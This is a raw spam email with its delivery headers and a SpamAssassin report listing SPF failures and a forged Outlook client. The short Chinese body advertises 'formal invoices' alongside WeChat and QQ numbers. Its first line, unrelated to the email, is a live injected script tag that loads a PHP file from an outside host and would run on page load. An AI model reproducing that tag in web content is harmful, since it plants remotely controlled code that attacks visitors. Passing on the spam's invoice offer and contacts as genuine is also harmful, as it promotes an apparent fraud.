<script src=http://w0rms.com/kaydet.php></script>
Return-Path: <cdfert@hotmail.com>
Delivered-To: csiway+spam@dedi-4568888.klamss.com.br
Received: from dedi-4568888.klamss.com.br
	by dedi-4568888.klamss.com.br with LMTP
	id yDq8GAvB6GRZagAA56lGvA
	(envelope-from <cdfert@hotmail.com>)
	for <csiway+spam@dedi-4568888.klamss.com.br>; Fri, 25 Aug 2023 11:56:11 -0300
Return-path: <cdfert@hotmail.com>
Envelope-to: hsalles@csiway.com.br
Delivery-date: Fri, 25 Aug 2023 11:56:11 -0300
Received: from [122.230.41.120] (port=60471 helo=hotmail.com)
	by dedi-4568888.klamss.com.br with esmtp (Exim 4.96)
	(envelope-from <cdfert@hotmail.com>)
	id 1qZYEH-0007E6-2J
	for hsalles@csiway.com.br;
	Fri, 25 Aug 2023 11:56:11 -0300
From: cdfert@hotmail.com
To: hsalles@csiway.com.br
Content-Type: text/plain;charset="GB2312"
Content-Transfer-Encoding: 8bit
Date: Fri, 25 Aug 2023 22:56:02 +0800
X-Priority: 3
X-Mailer: Microsoft Outlook Express 6.00.2800.1106
X-Spam-Status: Yes, score=20.5
X-Spam-Score: 205
X-Spam-Bar: ++++++++++++++++++++
X-Spam-Report: Spam detection software, running on the system "dedi-4568888.klamss.com.br",
 has identified this incoming email as possible spam.  The original
 message has been attached to this so you can view it or label
 similar future email.  If you have any questions, see
 root\@localhost for details.
 Content preview:  正规票 l369O131927 威信同号 Q 2363l0079O 
 Content analysis details:   (20.5 points, 5.0 required)
  pts rule name              description
 ---- ---------------------- --------------------------------------------------
  1.3 RCVD_IN_VALIDITY_RPBL  RBL: Relay in Validity RPBL,
                             https://senderscore.org/blocklistlookup/
                            [122.230.41.120 listed in bl.score.senderscore.com]
  4.0 SPF_FAIL               SPF: sender does not match SPF record (fail)
 [SPF failed: Please see http://www.openspf.org/Why?s=mfrom;id=cdfert%40hotmail.com;ip=122.230.41.120;r=dedi-4568888.klamss.com.br]
  4.0 SPF_HELO_FAIL          SPF: HELO does not match SPF record (fail)
 [SPF failed: Please see http://www.openspf.org/Why?s=helo;id=hotmail.com;ip=122.230.41.120;r=dedi-4568888.klamss.com.br]
  0.0 FREEMAIL_FROM          Sender email is commonly abused enduser mail
                             provider
                             [cdfert[at]hotmail.com]
  0.2 KAM_DMARC_NONE         DKIM has Failed or SPF has failed on the message
                             and the domain has no DMARC policy
  2.0 RDNS_NONE              Delivered to internal network by a host with no rDNS
  0.0 KAM_DMARC_STATUS       Test Rule for DKIM or SPF Failure with Strict
                             Alignment
  0.6 PDS_HELO_SPF_FAIL      High profile HELO that fails SPF
  0.5 KAM_NUMSUBJECT         Subject ends in numbers excluding current years
  0.0 PDS_HP_HELO_NORDNS     High profile HELO with no sender rDNS
  0.0 SPOOFED_FREEMAIL_NO_RDNS From SPOOFED_FREEMAIL and no rDNS
  3.1 DOS_OE_TO_MX           Delivered direct to MX with OE headers
  2.0 TO_NO_BRKTS_MSFT       To: lacks brackets and supposed Microsoft tool
  0.0 SPOOFED_FREEMAIL       No description available.
  2.8 FORGED_MUA_OUTLOOK     Forged mail pretending to be from MS Outlook
X-Spam-Flag: YES
Subject:  ***SPAM***  =?GB2312?B?1f255sax?= l369O131927

正规票 l369O131927 威信同号  Q 2363l0079O